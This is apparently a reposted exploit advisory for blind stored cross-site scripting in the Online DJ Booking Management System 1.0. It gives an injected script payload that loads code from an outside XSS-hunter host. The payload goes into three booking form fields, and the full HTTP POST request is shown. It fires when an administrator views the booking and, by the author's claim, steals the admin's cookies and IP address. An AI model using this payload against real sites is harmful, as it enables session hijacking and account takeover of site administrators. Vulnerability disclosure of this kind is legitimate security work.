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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Online DJ Booking Management System 1.0 - 'Multiple' Blind Cross-Site Scripting
# Date: 2021-10-06
# Exploit Author: Yash Mahajan
# Vendor Homepage: https://phpgurukul.com/
# Software Link: https://phpgurukul.com/online-dj-booking-management-system-using-php-and-mysql/
# Version: V 1.0
# Vulnerable endpoint: http://localhost/odms/book-services.php?bookid=1
# Vulnerable Page URI : http://localhost/odms/admin/view-booking-detail.php?editid=10&&bookingid=989913724
# Tested on Windows 10, XAMPP

*Steps to Reproduce:*
1) Navigate http://localhost/odms/book-services.php?bookid=1
2) Enter Blind Xss payload `"><script+src=https://yourxsshunterusername.xss.ht>` in "name=","vaddress=" and "addinfo=" parameters and click on "Book".

Request:
========

POST /odms/book-services.php?bookid=1 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 335
Origin: http://localhost
Connection: close
Referer: http://localhost/odms/book-services.php?bookid=1
Cookie: PHPSESSID=crj216nrjq751tt0gs4o92undb
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

name="><script+src=https://biest.xss.ht></script>&email=aa@gg.com&mobnum=9999999999
&edate=2000-10-24&est=6+p.m&eetime=1+p.m&vaddress="><script+src=https://biest.xss.ht></script>
&eventtype=Pre+Engagement&addinfo="><script+src=https://biest.xss.ht></script>&submit=Book


Now to confirm the vulnerability

3) Login as admin by navigating to http://localhost/odms/admin/login.php.
4) Now as soon as admin visits /view-booking-detail.php to approve the booking, payload fires and attacker will get the details like ip address, cookies of admin
5) Able to steal admin's cookies successfully!!

#POC
https://ibb.co/Vj3jn2d
https://ibb.co/bm9MGdG